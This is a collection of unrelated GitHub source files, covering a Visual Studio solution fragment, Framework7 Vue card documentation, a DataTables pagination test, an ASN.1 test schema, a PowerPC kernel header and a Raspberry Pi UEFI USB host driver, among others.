{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Release|Any CPU.ActiveCfg = Release|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Release|Any CPU.Build.0 = Release|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Release|ARM.ActiveCfg = Release|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Release|ARM.Build.0 = Release|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Release|x64.ActiveCfg = Release|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Release|x64.Build.0 = Release|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Release|x86.ActiveCfg = Release|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.Release|x86.Build.0 = Release|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStrip|Any CPU.ActiveCfg = ReleaseStrip|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStrip|Any CPU.Build.0 = ReleaseStrip|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStrip|ARM.ActiveCfg = ReleaseStrip|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStrip|ARM.Build.0 = ReleaseStrip|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStrip|x64.ActiveCfg = ReleaseStrip|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStrip|x64.Build.0 = ReleaseStrip|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStrip|x86.ActiveCfg = ReleaseStrip|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStrip|x86.Build.0 = ReleaseStrip|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStripNoProfiling|Any CPU.ActiveCfg = ReleaseStripNoProfiling|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStripNoProfiling|Any CPU.Build.0 = ReleaseStripNoProfiling|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStripNoProfiling|ARM.ActiveCfg = ReleaseStripNoProfiling|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStripNoProfiling|ARM.Build.0 = ReleaseStripNoProfiling|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStripNoProfiling|x64.ActiveCfg = ReleaseStripNoProfiling|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStripNoProfiling|x64.Build.0 = ReleaseStripNoProfiling|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStripNoProfiling|x86.ActiveCfg = ReleaseStripNoProfiling|Any CPU
{5FBC743A-8911-4DE6-B136-C0B274E1B185}.ReleaseStripNoProfiling|x86.Build.0 = ReleaseStripNoProfiling|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Debug|Any CPU.Build.0 = Debug|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Debug|ARM.ActiveCfg = Debug|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Debug|ARM.Build.0 = Debug|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Debug|x64.ActiveCfg = Debug|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Debug|x64.Build.0 = Debug|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Debug|x86.ActiveCfg = Debug|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Debug|x86.Build.0 = Debug|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Release|Any CPU.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Release|Any CPU.Build.0 = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Release|ARM.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Release|ARM.Build.0 = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Release|x64.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Release|x64.Build.0 = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Release|x86.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.Release|x86.Build.0 = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStrip|Any CPU.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStrip|Any CPU.Build.0 = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStrip|ARM.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStrip|ARM.Build.0 = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStrip|x64.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStrip|x64.Build.0 = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStrip|x86.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStrip|x86.Build.0 = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStripNoProfiling|Any CPU.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStripNoProfiling|Any CPU.Build.0 = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStripNoProfiling|ARM.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStripNoProfiling|ARM.Build.0 = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStripNoProfiling|x64.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStripNoProfiling|x64.Build.0 = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStripNoProfiling|x86.ActiveCfg = Release|Any CPU
{32BABF14-6971-41F8-A556-8E0F2D8C86B2}.ReleaseStripNoProfiling|x86.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {29758AC0-E221-4C61-AC3D-16DD9A722844}
EndGlobalSection
GlobalSection(Performance) = preSolution
HasPerformanceSessions = true
EndGlobalSection
GlobalSection(Performance) = preSolution
HasPerformanceSessions = true
EndGlobalSection
GlobalSection(Performance) = preSolution
HasPerformanceSessions = true
EndGlobalSection
GlobalSection(Performance) = preSolution
HasPerformanceSessions = true
EndGlobalSection
GlobalSection(Performance) = preSolution
HasPerformanceSessions = true
EndGlobalSection
EndGlobal
| {
"pile_set_name": "Github"
} |
extends ../_docs-template
block vars
- var activeLink = 'vue';
- var title = 'Card Vue Component | Framework7 Vue Documentation';
block content
include ../_docs-demo-device
.docs-nav
include ../_docs-menu-vue
.docs-content
+improveDocsLink
h1 Card Vue Component
ul.docs-index
p Cards, along with List View, is a one more great way to contain and orginize your information. Cards contains unique related data, for example, a photo, text, and link all about a single subject. Cards are typically an entry point to more complex and detailed information.
p Card Vue component represents <a href="../docs/cards.html">Cards</a> component.
h2 Card Components
p There are following components included:
ul
li `f7-card`
li `f7-card-header`
li `f7-card-content`
li `f7-card-footer`
h2 Card Properties
table.params-table
thead
tr
th Prop
th Type
th Default
th Description
tbody
tr
th(colspan="4") <f7-card> properties
tr
td title
td string
td
td Card header content
tr
td content
td string
td
td Card content
tr
td footer
td string
td
td Card footer content
tr
td padding
td boolean
td true
td Adds additional inner padding on card content
tr
td outline
td boolean
td false
td Makes Card outline
tr
td no-shadow
td boolean
td false
td Disables card shadow
tr
td no-border
td boolean
td false
td Disables card border (for outline cards)
tr
td expandable
td boolean
td false
td Enables expandable card
tr
td expandable-animate-width
td boolean
td false
td Enables card content width also animatable and responsive, but can affect performance
tr
td expandable-opened
td boolean
td false
td Boolean property indicating whether the expandable card opened or not
tr
td animate
td boolean
td true
td Specifies to open expandable card with animation or not
tr
td hide-navbar-on-open
td boolean
td
td Will hide Navbar on expandable card open. By default inherits same <a href="/docs/cards.html#card-app-parameters" target="_blank">app card parameter</a>.
tr
td hide-toolbar-on-open
td boolean
td
td Will hide Toolbar on expandable card open. By default inherits same <a href="/docs/cards.html#card-app-parameters" target="_blank">app card parameter</a>.
tr
td swipe-to-close
td boolean
td
td Allows to close expandable card with swipe. By default inherits same <a href="/docs/cards.html#card-app-parameters" target="_blank">app card parameter</a>.
tr
td backdrop
td boolean
td
td Enables expandable card backdrop layer. By default inherits same <a href="/docs/cards.html#card-app-parameters" target="_blank">app card parameter</a>.
tr
td backdrop-el
td string
td
td Allows to specify custom expandable card backdrop element. This should be a CSS selector of backdrop element, e.g. `.card-backdrop.custom-backdrop`
tr
td close-by-backdrop-click
td boolean
td
td When enabled, expandable card will be closed on its backdrop click. By default inherits same <a href="/docs/cards.html#card-app-parameters" target="_blank">app card parameter</a>.
tr
th(colspan="4") <f7-card-content> properties
tr
td padding
td boolean
td true
td Adds additional inner padding
h2 Card Events
table.events-table
thead
tr
th Event
th Description
tbody
tr
th(colspan="2") <f7-card> events
tr
td card:beforeopen
td Event will be triggered right before expandable card starts its opening animation. `event.detail.prevent` contains function that will prevent card from opening when called
tr
td card:open
td Event will be triggered when expandable card starts its opening animation
tr
td card:opened
td Event will be triggered after expandable card completes its opening animation
tr
td card:close
td Event will be triggered when expandable card starts its closing animation
tr
td card:closed
td Event will be triggered after expandable card completes its closing animation
.with-device
h2(data-device-preview="../docs-demos/vue/cards.html") Examples
:code(lang="html")
<f7-block-title>Simple Cards</f7-block-title>
<f7-card
content="This is a simple card with plain text, but cards can also contain their own header, footer, list view, image, or any other element."
></f7-card>
<f7-card
title="Card header"
content="Card with header and footer. Card headers are used to display card titles and footers for additional information or just for custom actions."
footer="Card footer"
></f7-card>
<f7-card
content="Another card. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse feugiat sem est, non tincidunt ligula volutpat sit amet. Mauris aliquet magna justo. "
></f7-card>
<f7-block-title>Outline Cards</f7-block-title>
<f7-card
outline
content="This is a simple card with plain text, but cards can also contain their own header, footer, list view, image, or any other element."
></f7-card>
<f7-card
outline
title="Card header"
content="Card with header and footer. Card headers are used to display card titles and footers for additional information or just for custom actions."
footer="Card footer"
></f7-card>
<f7-card
outline
content="Another card. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse feugiat sem est, non tincidunt ligula volutpat sit amet. Mauris aliquet magna justo. "
></f7-card>
<f7-block-title>Styled Cards</f7-block-title>
<f7-card class="demo-card-header-pic">
<f7-card-header
class="no-border"
valign="bottom"
style="background-image:url(https://cdn.framework7.io/placeholder/nature-1000x600-3.jpg)"
>Journey To Mountains</f7-card-header>
<f7-card-content>
<p class="date">Posted on January 21, 2015</p>
<p>Quisque eget vestibulum nulla. Quisque quis dui quis ex ultricies efficitur vitae non felis. Phasellus quis nibh hendrerit...</p>
</f7-card-content>
<f7-card-footer>
<f7-link>Like</f7-link>
<f7-link>Read more</f7-link>
</f7-card-footer>
</f7-card>
<f7-card class="demo-card-header-pic">
<f7-card-header
class="no-border"
valign="bottom"
style="background-image:url(https://cdn.framework7.io/placeholder/people-1000x600-6.jpg)"
>Journey To Mountains</f7-card-header>
<f7-card-content>
<p class="date">Posted on January 21, 2015</p>
<p>Quisque eget vestibulum nulla. Quisque quis dui quis ex ultricies efficitur vitae non felis. Phasellus quis nibh hendrerit...</p>
</f7-card-content>
<f7-card-footer>
<f7-link>Like</f7-link>
<f7-link>Read more</f7-link>
</f7-card-footer>
</f7-card>
<f7-block-title>Facebook Cards</f7-block-title>
<f7-card class="demo-facebook-card">
<f7-card-header class="no-border">
<div class="demo-facebook-avatar"><img src="https://cdn.framework7.io/placeholder/people-68x68-1.jpg" width="34" height="34"/></div>
<div class="demo-facebook-name">John Doe</div>
<div class="demo-facebook-date">Monday at 3:47 PM</div>
</f7-card-header>
<f7-card-content :padding="false">
<img src="https://cdn.framework7.io/placeholder/nature-1000x700-8.jpg" width="100%"/>
</f7-card-content>
<f7-card-footer class="no-border">
<f7-link>Like</f7-link>
<f7-link>Comment</f7-link>
<f7-link>Share</f7-link>
</f7-card-footer>
</f7-card>
<f7-card class="demo-facebook-card">
<f7-card-header class="no-border">
<div class="demo-facebook-avatar"><img src="https://cdn.framework7.io/placeholder/people-68x68-1.jpg" width="34" height="34"/></div>
<div class="demo-facebook-name">John Doe</div>
<div class="demo-facebook-date">Monday at 2:15 PM</div>
</f7-card-header>
<f7-card-content>
<p>What a nice photo i took yesterday!</p><img src="https://cdn.framework7.io/placeholder/nature-1000x700-8.jpg" width="100%"/>
<p class="likes">Likes: 112 Comments: 43</p>
</f7-card-content>
<f7-card-footer class="no-border">
<f7-link>Like</f7-link>
<f7-link>Comment</f7-link>
<f7-link>Share</f7-link>
</f7-card-footer>
</f7-card>
<f7-block-title>Cards With List View</f7-block-title>
<f7-card>
<f7-card-content :padding="false">
<f7-list>
<f7-list-item link="#">Link 1</f7-list-item>
<f7-list-item link="#">Link 2</f7-list-item>
<f7-list-item link="#">Link 3</f7-list-item>
<f7-list-item link="#">Link 4</f7-list-item>
<f7-list-item link="#">Link 5</f7-list-item>
</f7-list>
</f7-card-content>
</f7-card>
<f7-card title="New Releases:">
<f7-card-content :padding="false">
<f7-list medial-list>
<f7-list-item
title="Yellow Submarine"
subtitle="Beatles"
>
<img slot="media" src="https://cdn.framework7.io/placeholder/fashion-88x88-4.jpg" width="44"/>
</f7-list-item>
<f7-list-item
title="Don't Stop Me Now"
subtitle="Queen"
>
<img slot="media" src="https://cdn.framework7.io/placeholder/fashion-88x88-5.jpg" width="44"/>
</f7-list-item>
<f7-list-item
title="Billie Jean"
subtitle="Michael Jackson"
>
<img slot="media" src="https://cdn.framework7.io/placeholder/fashion-88x88-6.jpg" width="44"/>
</f7-list-item>
</f7-list>
</f7-card-content>
<f7-card-footer>
<span>January 20, 2015</span>
<span>5 comments</span>
</f7-card-footer>
</f7-card>
<f7-block-title>Expandable Cards</f7-block-title>
<f7-card expandable>
<f7-card-content :padding="false">
<div class="bg-color-red" :style="{height: '300px'}">
<f7-card-header text-color="white" class="display-block">
Framework7
<br />
<small :style="{opacity: 0.7}">Build Mobile Apps</small>
</f7-card-header>
<f7-link card-close color="white" class="card-opened-fade-in" :style="{position: 'absolute', right: '15px', top: '15px'}" icon-f7="xmark_circle_fill"></f7-link>
</div>
<div class="card-content-padding">
<p>Framework7 - is a free and open source HTML mobile framework to develop hybrid mobile apps or web apps with iOS or Android (Material) native look and feel...</p>
</div>
</f7-card-content>
</f7-card>
<f7-card expandable>
<f7-card-content :padding="false">
<div class="bg-color-yellow" :style="{height: '300px'}">
<f7-card-header text-color="black" class="display-block">
Framework7
<br/>
<small :style="{opacity: 0.7}">Build Mobile Apps</small>
</f7-card-header>
<f7-link card-close color="black" class="card-opened-fade-in" :style="{position: 'absolute', right: '15px', top: '15px'}" icon-f7="xmark_circle_fill"></f7-link>
</div>
<div class="card-content-padding">
<p>Framework7 - is a free and open source HTML mobile framework to develop hybrid mobile apps or web apps with iOS or Android (Material) native look and feel...</p>
</div>
</f7-card-content>
</f7-card>
| {
"pile_set_name": "Github"
} |
cri-tools ({{ .Version }}-{{ .Revision }}) {{ .DistroName }} {{ .Arch }}; urgency=optional
* https://github.com/kubernetes-sigs/cri-tools/blob/master/CHANGELOG.md
-- Kubernetes Authors <[email protected]> {{ date }}
| {
"pile_set_name": "Github"
} |
TASTE-Dataview DEFINITIONS ::=
BEGIN
All-HK ::= ENUMERATED {a, b, c}
TC-Allowed-HK ::= All-HK (a|b) -- Enumerationn's values not OK in ICD
toto INTEGER ::= 5
Hello ::= ENUMERATED { xx(toto) } -- XXX Makes the compiler crash XXX
T1 ::= INTEGER {aa(1), bb(2)}
T2 ::= T1 (bb) -- in ICD, size is 0 bits but the "why?" does not lead anywhere
TC ::= SEQUENCE { allowed TC-Allowed-HK, exte Extended } -- Enumeration' s values not OK in ICD
Extended ::= All-HK (ALL EXCEPT b) -- Enumeration's values not OK in ICD
Other ::= All-HK (TC-Allowed-HK) -- Bug in ICD: Constraint column contains "(TASTE-Dataview)"
Other2 ::= All-HK (INCLUDES All-HK)(ALL EXCEPT b) -- Issue with Contraint value in ICD
END | {
"pile_set_name": "Github"
} |
// DATA_TEMPLATE: dom_data
oTest.fnStart( "oLanguage.oPaginate" );
/* Note that the paging language information only has relevence in full numbers */
$(document).ready( function () {
/* Check the default */
var oTable = $('#example').dataTable( { "sPaginationType": "full_numbers" } );
var oSettings = oTable.fnSettings();
oTest.fnTest(
"oLanguage.oPaginate defaults",
null,
function () {
var bReturn =
oSettings.oLanguage.oPaginate.sFirst == "First" &&
oSettings.oLanguage.oPaginate.sPrevious == "Previous" &&
oSettings.oLanguage.oPaginate.sNext == "Next" &&
oSettings.oLanguage.oPaginate.sLast == "Last";
return bReturn;
}
);
oTest.fnTest(
"oLanguage.oPaginate defaults are in the DOM",
null,
function () {
var bReturn =
$('#example_paginate .first').html() == "First" &&
$('#example_paginate .previous').html() == "Previous" &&
$('#example_paginate .next').html() == "Next" &&
$('#example_paginate .last').html() == "Last";
return bReturn;
}
);
oTest.fnTest(
"oLanguage.oPaginate can be defined",
function () {
oSession.fnRestore();
oTable = $('#example').dataTable( {
"sPaginationType": "full_numbers",
"oLanguage": {
"oPaginate": {
"sFirst": "unit1",
"sPrevious": "test2",
"sNext": "unit3",
"sLast": "test4"
}
}
} );
oSettings = oTable.fnSettings();
},
function () {
var bReturn =
oSettings.oLanguage.oPaginate.sFirst == "unit1" &&
oSettings.oLanguage.oPaginate.sPrevious == "test2" &&
oSettings.oLanguage.oPaginate.sNext == "unit3" &&
oSettings.oLanguage.oPaginate.sLast == "test4";
return bReturn;
}
);
oTest.fnTest(
"oLanguage.oPaginate definitions are in the DOM",
null,
function () {
var bReturn =
$('#example_paginate .first').html() == "unit1" &&
$('#example_paginate .previous').html() == "test2" &&
$('#example_paginate .next').html() == "unit3" &&
$('#example_paginate .last').html() == "test4";
return bReturn;
}
);
oTest.fnComplete();
} ); | {
"pile_set_name": "Github"
} |
var x = 25;
if (x > 10)
console.log('>10');
else if (x < 10)
console.log('<10');
else
console.log('10');
| {
"pile_set_name": "Github"
} |
/** <!--
*
* Copyright (C) 2017 veyesys [email protected]
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* If you would like this software to be made available to you under an
* alternate commercial license please email [email protected]
* for more information.
*
* -->
*/
#include "vservicemgr.hpp"
VServiceMgr * g_pVServiceMgr =NULL;
Factory *gUiFactory;
VServiceMgr::VServiceMgr(Factory & pFactory)
:m_pONVIFDisMgr(NULL),
m_pVRTSPServer(NULL), m_pVTaskMgr(NULL),
#if defined (WIN32) && !defined (WIN64)
m_pVVIPCMgr(NULL), m_pVONVIFPGMgr(NULL),
#endif
m_pFactory(pFactory)
{
gUiFactory = &pFactory;
m_pONVIFDisMgr = new VONVIFDisMgr();
m_pVVIPCMgr = new VVIPCMgr(pFactory, *m_pONVIFDisMgr);
m_pVRTSPServer = new VRTSPServer(pFactory);
#if defined (WIN32__REMOVE) && !defined (WIN64)
m_pVHTTPServer = new VHTTPServer(pFactory);
m_pVHLSServer = new VHLSServer(pFactory);
#endif
m_pVTaskMgr = new VTaskMgr();
}
VServiceMgr::~VServiceMgr()
{
}
VServiceMgr * VServiceMgr::CreateObject(Factory & pFactory)
{
if (g_pVServiceMgr == NULL)
{
g_pVServiceMgr = new VServiceMgr(pFactory);
}
return g_pVServiceMgr;
}
| {
"pile_set_name": "Github"
} |
test/fixtures/noname
└── test/fixtures/noname/node_modules/foo
| {
"pile_set_name": "Github"
} |
#ifndef _PPC64_PSERIES_RECONFIG_H
#define _PPC64_PSERIES_RECONFIG_H
#ifdef __KERNEL__
#include <linux/notifier.h>
/*
* Use this API if your code needs to know about OF device nodes being
* added or removed on pSeries systems.
*/
#define PSERIES_RECONFIG_ADD 0x0001
#define PSERIES_RECONFIG_REMOVE 0x0002
#define PSERIES_DRCONF_MEM_ADD 0x0003
#define PSERIES_DRCONF_MEM_REMOVE 0x0004
#ifdef CONFIG_PPC_PSERIES
extern int pSeries_reconfig_notifier_register(struct notifier_block *);
extern void pSeries_reconfig_notifier_unregister(struct notifier_block *);
extern int pSeries_reconfig_notify(unsigned long action, void *p);
/* Not the best place to put this, will be fixed when we move some
* of the rtas suspend-me stuff to pseries */
extern void pSeries_coalesce_init(void);
#else /* !CONFIG_PPC_PSERIES */
static inline int pSeries_reconfig_notifier_register(struct notifier_block *nb)
{
return 0;
}
static inline void pSeries_reconfig_notifier_unregister(struct notifier_block *nb) { }
static inline void pSeries_coalesce_init(void) { }
#endif /* CONFIG_PPC_PSERIES */
#endif /* __KERNEL__ */
#endif /* _PPC64_PSERIES_RECONFIG_H */
| {
"pile_set_name": "Github"
} |
/** @file
*
* Copyright (c) 2018, Andrey Warkentin <[email protected]>
*
* SPDX-License-Identifier: BSD-2-Clause-Patent
*
**/
#include "DwUsbHostDxe.h"
STATIC
EFI_STATUS
EFIAPI
DriverSupported (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath
);
STATIC
EFI_STATUS
EFIAPI
DriverStart (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath
);
STATIC
EFI_STATUS
EFIAPI
DriverStop (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN UINTN NumberOfChildren,
IN EFI_HANDLE *ChildHandleBuffer
);
EFI_DRIVER_BINDING_PROTOCOL mDriverBinding = {
DriverSupported,
DriverStart,
DriverStop,
0xa,
NULL,
NULL
};
STATIC EFI_DW_DEVICE_PATH mDevicePath = {
{
{
HARDWARE_DEVICE_PATH,
HW_VENDOR_DP,
{
(UINT8)(sizeof (VENDOR_DEVICE_PATH)),
(UINT8)((sizeof (VENDOR_DEVICE_PATH)) >> 8),
}
},
EFI_CALLER_ID_GUID
},
{
END_DEVICE_PATH_TYPE,
END_ENTIRE_DEVICE_PATH_SUBTYPE,
{
sizeof (EFI_DEVICE_PATH_PROTOCOL),
0
}
}
};
STATIC EFI_HANDLE mDevice;
STATIC RASPBERRY_PI_FIRMWARE_PROTOCOL *mFwProtocol;
STATIC
EFI_STATUS
EFIAPI
DriverSupported (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath
)
{
VOID *Temp;
EFI_STATUS Status;
if (Controller != mDevice) {
return EFI_UNSUPPORTED;
}
Status = gBS->LocateProtocol (&gRaspberryPiFirmwareProtocolGuid, NULL,
(VOID**)&mFwProtocol);
if (EFI_ERROR (Status)) {
return EFI_NOT_READY;
}
if (gBS->HandleProtocol (Controller, &gEfiUsb2HcProtocolGuid,
(VOID**)&Temp) == EFI_SUCCESS) {
return EFI_ALREADY_STARTED;
}
return EFI_SUCCESS;
}
STATIC
EFI_STATUS
EFIAPI
DriverStart (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath
)
{
VOID *Dummy;
EFI_STATUS Status;
DWUSB_OTGHC_DEV *DwHc = NULL;
Status = gBS->OpenProtocol (
Controller,
&gEfiCallerIdGuid,
(VOID**)&Dummy,
This->DriverBindingHandle,
Controller,
EFI_OPEN_PROTOCOL_BY_DRIVER
);
if (EFI_ERROR (Status)) {
return Status;
}
Status = mFwProtocol->SetPowerState (RPI_MBOX_POWER_STATE_USB_HCD, TRUE, TRUE);
if (EFI_ERROR (Status)) {
DEBUG ((DEBUG_ERROR, "Couldn't power on USB: %r\n", Status));
return Status;
}
Status = CreateDwUsbHc (&DwHc);
if (EFI_ERROR (Status)) {
goto Exit;
}
/*
* UsbBusDxe as of b4e96b82b4e2e47e95014b51787ba5b43abac784 expects
* the HCD to do this. There is no agent invoking DwHcReset anymore.
*/
DwHcReset (&DwHc->DwUsbOtgHc, 0);
DwHcSetState (&DwHc->DwUsbOtgHc, EfiUsbHcStateOperational);
Status = gBS->InstallMultipleProtocolInterfaces (
&Controller,
&gEfiUsb2HcProtocolGuid, &DwHc->DwUsbOtgHc,
NULL
);
Exit:
if (EFI_ERROR (Status)) {
DEBUG ((DEBUG_ERROR, "Could not start DwUsbHostDxe: %r\n", Status));
DestroyDwUsbHc (DwHc);
mFwProtocol->SetPowerState (RPI_MBOX_POWER_STATE_USB_HCD, FALSE, FALSE);
gBS->CloseProtocol (
Controller,
&gEfiCallerIdGuid,
This->DriverBindingHandle,
Controller
);
}
return Status;
}
STATIC
EFI_STATUS
EFIAPI
DriverStop (
IN EFI_DRIVER_BINDING_PROTOCOL *This,
IN EFI_HANDLE Controller,
IN UINTN NumberOfChildren,
IN EFI_HANDLE *ChildHandleBuffer
)
{
EFI_STATUS Status;
DWUSB_OTGHC_DEV *DwHc;
EFI_USB2_HC_PROTOCOL *HcProtocol;
Status = gBS->HandleProtocol (
Controller,
&gEfiUsb2HcProtocolGuid,
(VOID**)&HcProtocol
);
if (EFI_ERROR (Status)) {
DEBUG ((DEBUG_ERROR, "DriverStop: HandleProtocol: %r\n", Status));
return Status;
}
DwHc = DWHC_FROM_THIS (HcProtocol);
Status = gBS->UninstallMultipleProtocolInterfaces (
Controller,
&gEfiUsb2HcProtocolGuid, &DwHc->DwUsbOtgHc,
NULL);
if (EFI_ERROR (Status)) {
DEBUG ((DEBUG_ERROR, "DriverStop: UninstallMultipleProtocolInterfaces: %r\n",
Status));
return Status;
}
DwHcQuiesce (DwHc);
DestroyDwUsbHc (DwHc);
gBS->CloseProtocol (
Controller,
&gEfiCallerIdGuid,
This->DriverBindingHandle,
Controller
);
return EFI_SUCCESS;
}
/**
UEFI Driver Entry Point API
@param ImageHandle EFI_HANDLE.
@param SystemTable EFI_SYSTEM_TABLE.
@return EFI_SUCCESS Success.
EFI_DEVICE_ERROR Fail.
**/
EFI_STATUS
EFIAPI
DwUsbHostEntryPoint (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
EFI_STATUS Status;
Status = gBS->InstallMultipleProtocolInterfaces (
&mDevice,
&gEfiDevicePathProtocolGuid, &mDevicePath,
&gEfiCallerIdGuid, NULL,
NULL);
if (EFI_ERROR (Status)) {
DEBUG ((DEBUG_ERROR, "InstallMultipleProtocolInterfaces: %r\n", Status));
return Status;
}
Status = EfiLibInstallDriverBindingComponentName2 (
ImageHandle,
SystemTable,
&mDriverBinding,
ImageHandle,
&gComponentName,
&gComponentName2
);
if (EFI_ERROR (Status)) {
DEBUG ((DEBUG_ERROR, "EfiLibInstallDriverBindingComponentName2: %r\n", Status));
gBS->UninstallMultipleProtocolInterfaces (
mDevice,
&gEfiDevicePathProtocolGuid, &mDevicePath,
&gEfiCallerIdGuid, NULL,
NULL
);
}
return Status;
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2012 Google Inc. All rights reserved.
* Copyright (C) 2013 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "InternalSettings.h"
#include "CaptionUserPreferences.h"
